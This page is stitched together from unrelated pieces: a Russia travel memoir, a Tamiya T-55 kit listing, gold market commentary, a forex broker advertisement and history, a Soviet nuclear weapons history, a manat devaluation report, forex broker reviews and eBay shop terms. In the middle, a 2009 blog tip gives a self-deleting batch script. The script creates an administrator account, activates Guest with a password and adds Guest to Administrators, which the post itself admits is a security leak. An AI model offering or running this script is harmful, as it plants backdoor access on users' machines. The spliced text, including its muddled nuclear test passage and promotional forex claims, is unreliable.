I would recommend the overnight train from Moscow to St. Petersburg just for the experience of travelling on a train with a stove burning in the corridor to heat the carriage, and with the door slid wide open to smoke a cigarette looking out on hundreds of miles of snow glowing from the lights of the train.


The architecture in St. Petersburg was beautiful: so many shades of colour, and wonderful design. Venice of the north? …and some. There was a bar at the hotel here, where pretty much anything was available, though they did always asked ‘do you have dollars ?’ when offering the local currency to them…still no coffee though!


Apart from the scenery, the memories that mean the most to me have to be the ice flowing down the river, the midnight ice skaters in Moscow and getting to see Tchaikovsky’s burial place ( being the fan that I am ) and that magical overnight train journey. Nothing could ever replace that. Many things have changed since my visit during the last years of the Communist ‘regime’ but this country is worth the visit.


Soviet Tank T-55 -- Plastic Model Military Vehicle Kit -- 1/35 Scale -- #35257


This is a plastic model kit of the 1/35 Scale T-55A Russian Medium Tank from Tamiya. Suitable for Modelers Age 10 and Older.


A ready to assemble precision model kit that is accurate in all details.


Can be equipped with DShK-M anti-aircraft machine gun.


Czechoslovakian and Polish production type can also be selected.


Contains waterslide decals to allow the depiction of five versions of the T-55 tank to be displayed.


Realistically molded commander figure.


Continuous tracks.


Detailed wheels and suspension.


Upper hull parts including storage boxes, headlights and fuel drums.


Realistic tow cables.


Fully detailed turret.


Illustrated assembly guide.


Scale: 1:35


Length: 7-1/8" (18.1cm)


Width: 3-3/4" (9.4cm


Tamiya Product Number: 35257


One Plastic Model Tank


Plastic Cement 20 ml


Extra Thin Cement 40 ml


Model Master Flat White FS37875 1/2 oz -- Hobby and Model Acrylic Paint -- #4769


Other Customers Also Ordered view all


Russian T-62A Tank -- Plastic Model Military Vehicle Kit -- 1/35 Scale -- #35108


Russian T72M1Tank -- Plastic Model Military Vehicle Kit -- 1/35 Scale -- #35160


Russian Heavy Tank JS Stalin -- Plastic Model Military Vehicle Kit -- 1/35 Scale -- #35211


US Willys MB Jeep -- Plastic Model Military Vehicle Kit -- 1/35 Scale -- #35219


Putin Silver 1 Kilo Coins Minted In Russia


Today’s AM fix was USD 1,283.50, EUR 928.53 and GBP 764.26 per ounce. Yesterday’s AM fix was USD 1,283.50, EUR 927.38 and GBP 763.76 per ounce.


Gold fell $0.60 or 0.05% yesterday to $1,284.40/oz. Silver fell $0.02 or 0.1% yesterday to $19.43/oz.


Spot gold bullion prices ticked lower today and gold is again testing support at $1,280/oz. A close below $1,280/oz will be short term bearish.


Momentum is a powerful force and trend following traders and algorithms could push gold lower. Thus, there remains the possibility of further weakness and gold testing its big level of support above $1,180/oz.


Having said that the geopolitical backdrop of increasing tensions over Ukraine between Russia and western powers and indeed between China and Japan is gold supportive. As is the still robust physical demand especially from China and Asia.


The FOMC tends to have a fleeting short term impact on gold prices and barring a major surprise, Yellen's monetary policy is already priced in.


As ever, a better than expected jobs number, could see further gold liquidations. Conversely, a worse than expected number will lead to safe haven demand and could be the catalyst gold needs to get out of its recent funk.


Russia: Putin Silver One Kilo Coins Launched Silver coins with the face of Russian President Vladimir Putin are being minted in Russia. The coins weigh one kilogram (1kg - 2.2lb) and are being launched by the Art Grani foundry to mark Crimea’s reincorporation into Russia.


The private mint that produces the coins said it is planning to present some of them to the Russian leadership. The coins are commemorative in nature and are a limited edition of 500 silver coins initially. The factory states that some of the coins may be sold, but they won’t be used as currency.


Putin's face is on one side of the coin while the other shows a map of the Crimean Peninsula, Moscow daily Komsomolskaya Pravda reports. Factory director Vladimir Vasyuhin explains that by bringing the Crimean peninsula "back home", Putin had "demonstrated the qualities of a wise strategist and politician".


"Crimea's reunification with Russia was a historic event which we decided to embody in a souvenir collection of coins," Vasyukhin told the Itar-Tass news agency.


The peninsula that has hosted Russia's Black Sea fleet throughout its history was part of Russia for centuries before Ukrainian-born Soviet leader Nikita S. Khrushchev transferred it to the Ukrainian Soviet Socialist Republic in 1954.


It made little difference to which republic the peninsula belonged when all 15 were united within the Soviet Union. But after the Soviet breakup in 1991, Russia was forced to lease back its military bases from Ukraine and lost governing authority over the predominantly ethnic Russian population of 2 million.


The first issue of 25 of the commemorative coins, which are the size of a hockey puck and weigh 1 kilo each, will be given to Kremlin officials, Itar-Tass said.


Neither the foundry nor the Russian news sources that wrote about the special "Crimea 2014 Collection" said how much the coins will cost or when a broader quantity will be available to collectors and the general public.


Each coin has 120 millimeters in diameter and is 11 millimeters thick. The embossed images are 4 millimeters high. Each coin will have its own number and will be made of 925 grade silver or 92.5% purity.


Silver at less than $20/oz remains very undervalued. It remains undervalued versus stocks, bonds and indeed gold. An allocation to silver in a portfolio will help protect and grow wealth in the coming years.


Forex


10 Reasons To Trade Forex


Trade on spreads as low as 1-2 pips, commission-free


Trade currencies and spot gold at FOREX. com. Dealing spreads are as low as 1-2 pips on the most widely traded currency pairs. As always, you pay no commissions at FOREX. com, only the bid/offer spread. And with our fractional pips, you gain an extra digit of precision so that you can take advantage of smaller price movements.


Plus, you can enter orders at any price - even inside the spread - and trade around news events, major economic announcements and other times of high market volatility.


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At FOREX. com, we've always automated processing for all click & deal forex trades. When you click BUY or SELL, our systems perform a margin check and, if accepted, immediately respond with a trade confirmation.


Why is this important to you? First, you benefit from an unbiased trading environment that is not subject to human intervention . Second, automated trade processing improves our efficiency, which lowers our overhead and allows us to pass along the saving to you in the form of tighter spreads


Flexible account types and leverage


» Standard accounts, with a default lot size of 100K and leverage + of 100:1 (1%), are well suited for active forex traders.


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We pioneered our signature "one-click" dealing in 2000 and have been nominated as Best Forex Brokerage by the readers of Technical Analysis of Stocks and Commodities for the past two years.


Our proprietary trading platform, FOREXTrader, successfully combines ease-of-use with remarkable flexibility. FOREXTrader offers a highly intuitive user interface, advanced customization features, and a full suite of professional charting and order management tools


Advanced tools & investigación


As a FOREX. com client, you'll have access to a variety of resources and unique trading tools that can help you make more informed trading decisions.


Full suite of daily and weekly forex research . Whether you're interested in fundamental analysis or technical trading methods . you'll have access to a wide variety of institutional-grade Forex market analysis as a FOREX. com client. And, tune in to our Weekly Market Call for timely trading ideas and analysis from Brian Dolan, our Chief Currency Strategist.


ForexInsider streaming market commentary: Our exclusive FOREXInsider delivers actionable analysis of news, events and technical levels that impact currency prices, in real-time, to your trading platform. Updates are published as often as 20 times an hour, so that you can act instantly on new market intelligence.


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During FOREX. com's trading hours, all stop and limit orders up to $2 million are guaranteed to be filled at your price.


We understand that stop loss and limit orders are an important part of every trader's risk management strategy, and so we take this policy very seriously. This policy does not apply during major fundamental announcements, or outside FOREX. com's normal trading hours


Negative account balance protection


At FOREX. com, your risk is only limited to funds on deposit.


Our margin policy eliminates concerns about debit balances by guaranteeing that you will never owe more than you have in your account.


Support for automated (API) trade executions


For clients utilizing an algorithmic trading system or their own black box strategy, FOREXTrader supports fully automated trade execution via a standard FIX protocol or web-services API.


The API provides users with the ability to receive a real-time rate feed, submit trade requests, set and modify stop-loss and take-profit orders, and receive automated confirmations of trade activity. Developers can request access to a testing environment in order to test their systems in real time before using the API in a production environment.


Trader education, mentoring services, and more


FOREX. com delivers hands-on forex training through a variety of educational programs and events. For traders just getting started in the Forex market, we offer one-on-one platform walkthroughs, online training courses . as well as live, introductory web-based seminars ("webinars").


Exclusive client-only events cover more in-depth trading techniques and strategies and include an interactive Q&A with our senior analysts and currency strategists.


As a FOREX. com client, you can also take advantage of our professional mentoring services. During your one-on-one consultations with a senior forex specialist, you can discuss the latest market research report, ask for a second opinion about your trading plan, or just bounce ideas around.


Wireless trading and account access


As a FOREX. com client or registered practice account user, you can access the currency markets via virtually any Internet-enabled wireless device. Keep on top of the market from anywhere – you can view real-time forex quotes, news and commentary, and charts and set rate alerts. You can also monitor your open positions, leave orders, even buy and sell at the market.


There are no extra fees, and no special sign up. All you need is an Internet-enabled wireless device


The History of Forex


The Forex trading market is a relatively new phenomenon. Never before in the history of the world have we seen such an amazing event. In only 30 years, this industry has developed from almost nothing to a daily US$1.5 trillion market. ¿Cómo pasó esto? Was it by design? Or was it by accident?


Well the answer falls somewhere in between. There are three distinct time frames that set the stage for today's style of currency trading. The first time frame is the pre-currency trading era of the 1950s. The second time frame is the worldwide, politically volatile atmosphere of the 1970s. The third time frame is what has occurred in this free market economy since the demise of the gold standard 30 years ago. In each time frame, there have been three catalysts: war, gold, and foreign banks - that have played a significant role in propelling currency development.


Pre-Currency Trading Era – The 1950s


Entering into the 1950s, the United States of America had a distinct advantage over war-torn Europe. While Germany was heavily sanctioned, England, France, Italy, and several other Old World nations were just coming to terms with the heavy investment needed to rebuild their countries.


As a way to make it easier for the rest of the world to rebuild, the Bretton Woods Agreement was adopted. It was innocuously simple: in an effort to keep the United States of America (USA) from buying everything in sight, the Bretton Woods Agreement kept the USA in check by requiring all foreign currencies be pegged to the US Dollar. Some pegs were strong, some pegs were weak, but at the end of the day they never moved more than 1% in any direction. Like today's problem with the Chinese Yuan, forced to a peg against the dollar, it kept a constant, controlled flow of US dollars out of the country.


The peg would not have been so bad if not for the fact that the US dollar also had a unique relationship with gold. Just like currencies, gold was pegged to the dollar at a fixed value of US$35/ounce. What made it even worse was that US currency, at the time, was directly exchangeable for gold. This strategy was fine as long as the Fort Knox gold reserves exceeded $23 billion.


After World War II, the USA became the primary economic super power. Many foreign countries began to acquire US currency in lieu of gold. The dollar gained prominence in a way no other currency ever had before.


At the same time, we began to see the rebuilding of the Old World and foreign trade began to gain momentum. In 1950, foreign countries held US $8 billion. We also saw the oil business begin its ascent as a prominent import/export industry.


The 1970's United States Currency Policy Meltdown


Once again, we are hit with the triumvirate of war, the restrictive gold standard, and dollars in foreign banks.


This time, each problem was feeding directly off of the others. The Vietnam Conflict had drained our gold reserves heavily. By 1970, Fort Knox only held US$12 Billion.


The growth of the oil business and the increase in foreign trade caused a boom in the demand for US dollars in foreign banks. Over US$ 47 Billion was sitting in overseas banks.


On paper, our gold reserves were over-leveraged by almost 4 to 1. As a nation, we did not know how to react to such an overbearing assault on our currency. Then along came the invention of the Eurodollar to make our nightmare worse.


Foreign banks with US dollars would make low-interest loans in US dollars to importers and exporters. Although the dollars were never repatriated, the US was still on the hook to exchange these “credit”-created dollars for the gold we kept on reserve.


Then came a miracle in disguise. The Bretton Woods Agreement collapsed. In the over-leveraged gold-dollar environment, many countries began to feel frustrated with the artificial peg.


In blatant defiance to the agreement in 1971, Germany declared that they would float the Deutsche mark. They were tired of the artificial peg that was keeping their economy depressed. In the first hour of trading, over US$1 billion were exchanged for Deutsche marks. For the first time, the public had voiced their opinion against being so heavily weighted with dollars.


With Germany completely ignoring the Bretton Woods Agreement by floating their currency, the US government had nothing left to do but put the final nail in the coffin of the U. S.'s currency policy. The Bretton Woods Agreement was dissolved.


Three short months after the Deutsche mark began to float, the US moved off of the gold standard. Gold was allowed to float freely like any other currency. Oil, although priced in US dollars, soon switched to a peg against gold. Gold and oil prices jumped ten-fold.


The currency dynamics were soon changed on a global scale and it became accepted practice that countries began to float their own currency.


New Rules of Currency


In 1971, the Smithsonian Agreement replaced the Bretton Woods Agreement and authorized “forward currency contracts”, adding validity to the Eurodollar phenomenon. It didn’t work. A year later the European Joint Float was established. It, and the Smithsonian Agreement, were scrapped in 1973. Even though they were dissolved the concept of “forward currency contracts” stayed as part of the banking system.


Once currencies began to “free-float”, they immediately moved away from their gentlemanly 1% fluctuations on either side to huge price ranges, going anywhere from 20-25% daily.


From 1970-1973, the total foreign exchange volume went from US$25 Billion to US$100 Billion. With oil prices up, gold prices up, and an economy still reeling from the rapid currency shift, “stagflation”, rising inflation while real incomes remained the same, soon hit the United States.


Today's Currency World


In the 30 years since the collapse of the last gentlemanly agreement on currency rates, many momentous events have occurred that have affected currencies worldwide. The Japanese yen gained prominence because of Japan's heavy export relationship with the United States. The USSR collapsed. We have had several undeclared wars, the south Asian economies have risen and collapsed, and several investor bubbles have come and gone.


Each time, currencies have come away with a newly earned respect by the masses. There has also been a constant element of surprise that keeps you guessing what's next.


Current conditions, such as the United States' perpetual war on “terror”, the permanent introduction and dominance of the euro currency, the steady O. P.E. C. increases in oil prices, and gold's renaissance as a store of value, will likely have a tremendous impact on the future of what it means to trade currencies.


This could be a fundamental shift in the next phase of currency development.


Wednesday, August 12, 2009


Convert a user account into an Administrator


Want to convert a user account into an Admin?


All you need to do is copy the code below, copy/paste it into Notepad and save it as User2admin. bat on your desktop.


echo off title Please wait. cls net user add Username Password /add net user localgroup Administrators Username /add net user Guest 420 /active:yes net localgroup Guests Guest /DELETE net localgroup Administrators Guest /add del %0


Double-click the file to execute or type the above-given code in Command Prompt.


Note: this also creates a net account which is also accessable through nets open port (basically it’s a security leak).


The Soviet Nuclear Weapons Program


Last updated 12 December 1997


I remember President Kennedy once stated. that the United States had the nuclear missile capacity to wipe out the Soviet Union two times over, while the Soviet Union had enough atomic weapons to wipe out the Unites States only once. When journalists asked me to comment. I said jokingly, "Yes, I know what Kennedy claims, and he's quite right. But I'm not complaining. We're satisfied to be able to finish off the United States first time round. Once is quite enough. What good does it do to annihilate a country twice? We're not a bloodthirsty people."


Nikita Khrushchev - quoting himself in Khrushchev Remembers: The last Testament . 1974, pg. 530


The Soviet Atomic Bomb: 1939-1949


The most significant early work on fission in the Soviet Union was performed by Yakov Zel'dovich and Yuli Khariton who published a series of papers in 1939-41 that laid the groundwork for later Soviet atomic weapons development.


The Soviet weapons program proper began in 1943 during World War II, under the leadership of physicist Igor Vasilievich Kurchatov. The program was initiated by reports collected by Soviet intelligence about the rapidly growing Manhattan Project in the U. S. It remained largely an intelligence operation until the end of the war, but it was a highly successful one, due to sympathies of many for the wartime Soviet Union fighting Nazi Germany; the socialist political sympathies of some; and the weak security screening program necessitated by the hasty assembly of the vast program. Klaus Fuchs. an important physicist at Los Alamos, was by far the most valuable contributor of atomic information.


A strikingly handsome picture of Igor Kurchatov as a young man. (18 K)


Immediately after the conclusion of the war against Japan, the Soviet program moved into high gear. Lavrenti Beria was appointed to head the entire project, with Kurchatov remaining as scientific director. Using the detailed data available on the American program, and the detailed design description of the Fat Man bomb provided by Fuchs in June 1945, the Soviet program achieved its first test in almost exactly four years.


The first Soviet nuclear reactor (and the first nuclear reactor in Europe) went critical on Christmas day 1946, at 6 p. m. local time at the Kurchatov Institute in Moscow. The graphite moderated F-1 (for "Physics-1") was apparently based on the design of the Hanford 305 reactor and originally operated at a power level of 10 watts (later upgraded to 24 kilowatts). Larger graphite moderated plutonium production reactors provided the fissile material for the first Soviet atomic bombs.


First Lightning/"Joe-1": The First Soviet Atomic Explosion


The first Soviet nuclear test, code named "First Lightning", detonated a plutonium bomb, the RDS-1. The code designation RDS was actually arbitrary and meaningless, but various people on the project gave it a variety of interpretations, one popular one was "Reaktivnyi Dvigatel Stalina" (Stalin's Rocket Engine), another was "Russia Does It Alone". The whole focus of the Soviet program at this point was to set off a Soviet atomic blast at the earliest possible time whatever the cost. At Beria's insistence, this device was an exact copy of the U. S. Gadget/Fat Man design.


This image of the Joe-1 shot was provided by Peter Kuran, director of Trinity and Beyond: The Atomic Bomb Movie (available on video). Footage of this shot can be seen in the movie. Click for a big image of Joe-1 (1024 x 768, 160 K).


¡No! This is not a picture of Joe-1! Although two recent books: Stalin and the Bomb: The Soviet Union and Atomic Energy 1939-1956 by David Holloway and Dark Sun by Richard Rhodes contain this image, labelled "Joe-1" they are wrong. This is a picture of a 1965 Soviet test called "Chagan". Thanks to Andy Gillette for pointing this out to me and providing the correct identification.


More than two years passed between the first and second Soviet atomic tests. The crash-program to produce an atomic bomb a quickly as possible had created a very inefficient and hazardous production system, and tremendous effort was required to rationalize the program and place it on a firmer basis.


"Joe-2" was exploded on 24 September 1951 with a yield of 38 Kt. This was an improved plutonium implosion bomb, incorporating some improvements that Beria had prevented from being used in Joe-1.


The Soviet Thermonuclear Weapons Program (Part 1): 1948-1954


Although limited theoretical investigations into fusion energy began immediately after the war, the Soviet thermonuclear program shifted into high gear in mid-1948 after accumulating information about American investigations provoked considerable concern. The theoretical investigation was headed by Zel'dovich, who added three important figure to his staff - Andrei Dmitrievich Sakharov, Vitali Lazarevich Ginzburg, and Viktor Aleksandrovich Davidenko.


Like the American program, the Soviet thermonuclear program initially focused on igniting non-equilibrium detonation in liquid deuterium (a scheme eventually shown to be impractical if not impossible). Also like the American program, the idea of amplifying the yield of a fission bomb by igniting a limited fusion reaction in a lithium-6 deuteride blanket also arose. Unlike the American program though, the Soviets actually developed this idea into a deliverable weapon.


This first approach to thermonuclear weapons, called the "Sloika" or "layer cake" (a sloika is a cheap layered pastry somewhat like a napoleon), was originated by Sakharov and Ginzburg. Sakharov contributed the "first idea": the basic idea of heating and compressing a fusion blanket surrounding the fission trigger. Ginzburg subsequently added the "second idea": the improvement of using Li-6 D fuel instead of liquid deuterium and tritium. Sakharov is generally accorded the title of "Father of the Soviet Hydrogen Bomb", a title he began earning by being the lead theoretical designer of the sloika. Andrei Sakharov in 1950 (21 K). Andrei Sakharov in 1989 (26 K).


Soviet Test No. 4/"Joe-4": The Sloika ("Layer Cake") Design


The detonation of the RDS-6s device, the fifth Soviet nuclear test (dubbed "Joe 4" in the west) demonstrated the use of fusion in a weaponizable design. Not a "true" hydrogen bomb, this device obtained nearly all of its yield from fission and was limited for practical purposes to yields of less than a megaton. It was never widely deployed.


The RDS-6s used a U-235 fissile core surrounded by alternating layers of fusion fuel (lithium-6 deuteride spiked with tritium), and fusion tamper (natural uranium) inside a high explosive implosion system. The small U-235 fission bomb acted as the trigger (about 40 kt). The total yield was 400 Kt, and 15-20% of the energy was released by fusion, and 90% due directly or indirectly to the fusion reaction.


The Soviet Thermonuclear Weapons Program (Part 2): 1954-1955


Andrei Sakharov and Igor Kurchatov together (63 K).


Efforts to extend the "Sloika" design to higher yields proved infeasible, and following the successful test of Joe-4, the program stagnated. The U. S. had already demonstrated the ability to build a 10 megaton bomb in November 1952 with the Ivy Mike test, but the Soviets had no idea how to duplicate the feat.


The first conceptual breakthrough came sometime in late 1953. This breakthrough is apparently attributable to Davidenko. Left is a January 1954 sketch by Zel'dovich and Sakharov, addressed to Yuli Khariton, that shows a transitional concept for the hydrogen bomb. The concept shown is equivalent to Stanislaw Ulam's breakthrough of separate staging, using an atomic trigger to compress the thermonuclear secondary. Like Ulam's initial concept, it is based on hydrodynamic compression rather than radiation implosion. Click here for an easier to read photocopy version and translation.


The second breakthrough came in March or April 1954, after the 15 Mt U. S. test of a lithium deuteride fueled hydrogen bomb in Castle Bravo. This second American high yield thermonuclear test stimulated Soviet efforts, and was rewarded with the discovery of radiation implosion. Sakharov worked out the theoretical basis for this process, and is credited with the discovery.


RDS-37: The First Soviet Superbomb ("True H-Bomb") Test


Test No. 24/RDS-37


This was the Soviet Union's first "industrial nuclear explosion", the equivalent of the US "Plowshare" program for developing peaceful nuclear explosives (PNEs). This test was a near copy of the US Sedan test. a 104 Kt subsurface cratering experiment. In the Soviet case, the test was conducted


Although recently misidentified in two books as "Joe-1", this is picture is definitely not the Joe-1/First Lightning test. Joe-1 was a 20 Kt tower shot, and study of the Chagan picture shows copious amounts of debris fallout, a sure-fire indicator of a subsurface explosion. Below is a recent photograph of this same image (reversed) on display at the former test range at Semipalatinsk, Kazakhstan where it is clearly identified as "Chagan" (thanks to Andy Gillette). On display was another image of the actual Joe-1 test (unfortunately unavailable at this time).


Chagan picture on display at Semipalatinsk (18 K) `


The site for the Chagan shot was the dry bed of the Chagan River on the edge of the Semipalatinsk Test Site (STS) in Kazakhstan. The shot location was chosen so that the crater lip would form a dam in the river during its period of high flow in the spring. The crater formed by the Chagan explosion had a diameter of 408 m and a depth of 100 m. A major lake (10,000,000 m 3 ) was quickly formed behind the 20-35 m high upraised lip. Shortly after the explosion, earthmoving equipment was used to cut a channel through the lip so that water from the river could enter the crater.


Spring melt soon filled the crater with 6.4 million m^3 of water, and the reservoir behind the crater was filled with 10 million m^3 of water. These reservoirs are known informally as Lake Chagan or Lake Balapan. Subsidence of the crater slopes subsequently reduced the crater storage capacity by about 25%. A few years later, a water-control structure was built on the left bank of the river to control water levels in the reservoirs. Both reservoirs exist today in substantially the same form and are still used to provide water for cattle in the area. Efrim P. Slavskiy, Minister of the Medium Machine Building Ministry (the ministry responsible for the entire Soviet nuclear weapons program)was reported to have been the first person to have taken a swim in the crater lake.


The nuclear explosive used for the Chagan test was reported to be a low-fission design, which had a pure thermonuclear secondary driven by a fission primary with a yield of about 5-7 kt. Approximately 20% of the radioactive products of the explosion escaped into the atmosphere, resulting in dose levels on the lip of the crater of 20-30 R/hr several days after the explosion, most of which was from Co 60 (5.26 year half-life). Today, the dose level on the lip is reported to be


2.6 mR/hr. Beyond a restricted area 100-150 m from the lip, the dose rate is at background levels (15-20 microR/hr). Radioactivity levels in the lake water in the crater are reported to be about 300 pCi/liter.


Radioactivity from the Chagan test was detected over Japan by both the U. S. and Japan in apparent violation of the 1963 Limited Test Ban Treaty (LTBT). The U. S. complained to the Soviet Union about the explosion, interpreting it as an accidental venting of a high-yield weapons test and asking for an explanation. The Soviets responded that the explosion was carried out deep underground. The quantity of radioactive debris that leaked into the atmosphere was so insignificant that the possibility of its fallout outside the territorial limits of the Soviet Union should be excluded. After several subsequent interactions, the issue was closed without further explanation.


Sarov (Arzamas-16): The Soviet Los Alamos


Sarov, with its monastery and church towers (53 K)


In April 1946, the sleepy town of Sarov with a population of 3000 (best known for its monastery), 400 km east of Moscow, was converted into the super-secret atomic weapons city of Arzamas-16 (sometimes nick-named "Los Arzamas"). For over 45 years Sarov disappeared from the map, to reappear under its original name of Sarov after the collapse of the Soviet Union. Throughout this 45 year period it was headed by one man:Yuli Khariton. Scientific Director of Arzamas-16 from 1946 to 1992.


Below is part of the Arzamas-16 laboratory complex during the forties, the building shown housed the theoretical division.


The Russian Atomic Weapon Museum


Sarov also hosts the Russian Atomic Weapon Museum, inspired and modelled on the U. S. National Atomic Museum. In the picture below, the weaponized version of Joe-1 can be seen at right and the weaponized version of Joe-4 on left. In the middle is the 40 Kt improved implosion bomb Joe-2.


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Manat Plunges to 20-Year Low


Azerbaijan’s manat plunged to the weakest since 1995 after the central bank relinquished control of its exchange rate, the latest crude producer to abandon a currency peg after oil prices slumped to the lowest in 11 years.


The third-biggest oil producer in the former Soviet Union moved to a free float as of Monday to “protect the country’s foreign-exchange reserves at a crucial level to ensure the competitiveness of the economy” amid a barrage of “intensifying external economic shocks,” the central bank said in a statement. The manat, which had one annual drop against the dollar in the past 12 years, was down 33 percent at 1.55 to the dollar as of 1:47 p. m. in the capital, Baku, according to data compiled by Bloomberg.


The Caspian Sea country, which relies on hydrocarbons for more than 90 percent of exports, devalued the manat for the second time this year as the collapse of oil prices heaps pressure on the currencies of petroleum-exporting nations from the Persian Gulf to Nigeria. Azerbaijan has burned through more than half of its central bank reserves to defend the manat after it was allowed to weaken about 25 percent in February as the aftershocks of the economic crisis in Russia rippled through former Kremlin satellites.


“The only real surprise is that they waited so long, blew scarce FX reserves in the process, and thereby undermined the sovereign balance sheet and credibility and confidence in the process,” Timothy Ash, the head of emerging-market strategy at Nomura International Plc. in London, said by e-mail.


The manat has lost almost 50 percent against the dollar this year, the world’s worst performance. The yield on the government’s 2024 dollar bonds slipped 15 basis points to 6.02 percent on Monday, according to data compiled by Bloomberg.


The price of crude has fallen almost 70 percent since June 2014 and is trading at its lowest since July 2004. The Azeri central bank’s reserves was at $6.2 billion at the end of November, down from more than $15 billion a year earlier.


Slumping crude and the Russian ruble’s collapse are ushering in a new era of volatility for Azerbaijan, which is also beset by challenges ranging from declining oil output to a festering conflict with neighboring Armenia.


The $75 billion economy will grow 1.7 percent next year, down from an estimated 2.8 percent in 2015, Moody’s Investors Service said in a Dec. 4 report. The rating company, which has Azerbaijan at Baa3, its lowest investment grade, predicted the nation’s budget deficit at 9.2 percent of gross domestic product this year and said its debt-to-GDP ratio will “spike” in 2015 from about 11 percent in 2014.


While Azerbaijan’s former Soviet allies Russia and Kazakhstan have moved to floating currency regimes in the past year, the Azeri central bank has questioned whether the country was prepared for a similar shift. Governor Elman Rustamov said there was no need for another devaluation of the manat, according to a televised interview broadcast Sept. 25.


The currency turmoil has prompted an exodus by savers from accounts in the manat, putting more pressure on banks and the foreign-exchange market. In Azerbaijan, the share of foreign-currency deposits reached more than 70 percent in the months after the devaluation, from 51 percent at end-January, according to Fitch Ratings.


Even so, the first devaluation this year shielded the economy and helped the country adapt, according to Moody’s.


“A weaker local currency contributes to the ongoing economic readjustment to lower oil prices by easing the strains from the oil price shock on Azerbaijan’s fiscal and external accounts and making the country’s non-oil exports more price competitive,” the rating company said Dec. 4.


Vice-President of Currency Analysis at MarketPulse


Dean Popplewell has nearly two decades of experience trading currencies and fixed income instruments. He has a deep understanding of market fundamentals and the impact of global events on capital markets. He is respected among professional traders for his skilled analysis and career history as global head of trading for firms such as Scotia Capital and BMO Nesbitt Burns. Since joining OANDA in 2006, Dean has played an instrumental role in driving awareness of the forex market as an emerging asset class for retail investors, as well as providing expert counsel to a number of internal teams on how to best serve clients and industry stakeholders.


Here is an overview of all forex brokers which have been reviewed so far by The Last Bear . Each review is conducted unbiased and no compensation is received by any forex broker. We write what some brokers may not want to read about their brokerage, but it does weed out the good from the bad. We had several forex brokers contact us and pointed out changes they have made which is why we conduct those reviews.


One broker in particular tried to spam our comments with different names and positive reviews and they have done the same after negative press across several forex forums. Interesting enough our best and worst reviewed forex broker so far both start with the letter P and end with forex; PaxForex has been our top choice with very tight spreads and deep liquidity while Profiforex has been the one who spammed across the web after negative reviews exploded about them.


Here is the complete list of all forex brokers which have been reviewed so far here at The Last Bear


I have used different brokers but I must confess that paxforex has the best customer services so far, they have never disappoint me. Quick response, Keep it up. You need to try this broker, they have a great speed exececution, and that shows how relliable they are. A trial will convince you. Paxforex has a very high leverage and a low spreed that allows you to maximise and bost your performance. Thanks for this great services


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Details about TAMIYA 35257 Soviet Tank T 55 1:35 Military Model Kit


Tamiya presents the Russian Medium Tank T-55 of which about 10,000 units, including T-54, that served as a base for its development, and derivatives were produced during the Cold War era as a 1/35 scale plastic model. Every characteristic of this tank, low-profile hull, and compact hemispherical turret, powerful main gun, has been accurately reproduced. Details such as welding lines, cast iron appearance, 12.7mm anti-aircraft machinegun and protective cover on tank commander have been crisply molded. This historically important tank is a must-have for any post WWII era tank collector.


About the T-55A: The low clearance chassis has been replicated down to the finest detail, even the cast iron surface of the tank has been faithfully recreated. The characteristic half sphere turret and powerful 100mm cannon are faithfully portrayed. Not a detail has been spared, even with finer parts such as the engine grill and cast iron wheels. This kit will let you choose between two extensively used types for assembly, the T-55A with anti-radiation armoring and the DShK-M anti-aircraft machinegun. And the options don't stop there. The modeler can also chose parts for replication of the tank as it was produced in Communist Russia, or Czechoslovakia and Poland with river crossing snorkel and headlight. Decals for recreation of 5 different tanks are planned to be included in the kit. One tank commander figure posted on cupola is also planned to be featured in kit.


T-55 production began in 1958, as opposition between western countries and the Soviet Union grew. It was easy to produce and featured an oblique front hull wall, a compact hull and a semi-spherical turret to limit vulnerability. The T-55 was also well armed with a 100mm main gun. In the early 60's, the T-55A with anti-radiation internal liner and anti-radiation cover on the tank commander cupola was developed. T-55 and T-55A were also license built by Czechoslovakia and Poland and some received various improved equipment resulting in many sub-types. T-55 production continued until the late 70's and equipped the armies of over 40 countries. It was used in various wars such as the Middle-East Wars and the Gulf War and is still in service today in some countries.


About the model:


Tamiya presents the 1/35 scale plastic assembly kit of the Russian Medium Tank T-55A.


The unique form of this tank has been accurately replicated.


You can choose between several versions, with or without a DShK-M anti-aircraft machinegun, of the T-55 and T-55A.


You will also be able to represent Polish or Czechoslovakian built versions.


Every characteristic of the T-55A such as the engine grills and external fuel tanks has been reproduced down to the finest details.


One tank crew chief figure and decals for 5 different markings are included.


1/35 Military Miniature Series This is a series in exact 1/35 scale of World War II & post war vehicles, armour and figures representing armies from all over the world. It is ideal for constructing diorama’s. The details on the subjects are incredible and extremely accurate right down to the expressions on the soldiers’ faces. Tamiya has a reputation for detail and accuracy and this series is a perfect example of this. The Tamiya designers work from measurements and thousands of picture references of the full sizes vehicles, including every detail and facet, to produce the most detailed models in this scale in the world. The quality of these models is such that many museums around the world use the Tamiya 1/35 Military Miniature Series to depict history to the visiting public. As with all Tamiya items, instructions are clear and concise, in order to allow the modeller to build a detailed model with relative ease. These assembly kits require paint and modelling glue available separately from all Tamiya dealers.


Please see the Postage section beneath the Price information further up the page for eBay to calculate your shipping rate.


If you require a shipping cost for a different country please select "See all Details" and choose the relevant country from the list.


If you placing a large order for delivery outside of the UK please contact us and we will work out the shipping cost manually.


Pago


To make it easier for you we accept many different payment types -


Paypal - Paypal is the easiest and most convenient way of paying for an eBay order, its instant and secure.


DEBIT / CREDIT Card - eBay no longer have the facility to process Card payments online. We can process payments manually over the phone, however this can delay the order. Please call us on 01749 677001 or email us your details and we will call you. Alternatively please use our website where we are able to accept card payments online.


DIRECT BANK TRANSFER from a UK Bank, (Please email us at help@hairskinbeauty. com for transfer details.)


BY INTERNATIONAL MONEY TRANSFER (Swift/IBAN/Bacs, Funds must be UK Sterling & All charges/costs must be paid by buyer)


I am afraid we are no longer able to accept payment by cheque.


For payment enquiries please email us at help@hairskinbeauty. com or call us on +441749 671809 (Mon-Fri.)


Returns & Problems with your order


Our returns period is 30days, providing we receive the item un-opened and in a re-sellable condition we will give you a full refund.


When returning the item please post to the from address at the top of the invoice, please also include a copy of the invoice or a note which quotes your order no. so we know who the item is from.


I have received the wrong product, what do I do?


We hope that you never experience this, however although we check every order sent mistakes can still happen.


In this case please consider whether you would like to keep the incorrect item, if you would like to keep the incorrect item and also receive the correct item please contact us and we will be able to address the issue for you, (this saves you having to return the item.)


If the item received is of no use and you would like to return for the correct item then please send the incorrect item back to us by 2 nd Class post, on receipt we will send the correct item to you and refund the 2 nd Class postage costs.


My order has arrived Damaged, what do i do?


With Damage we need to deal with each case individually, please contact us via help@hairskinbeauty. com


Has my order been dispatched?


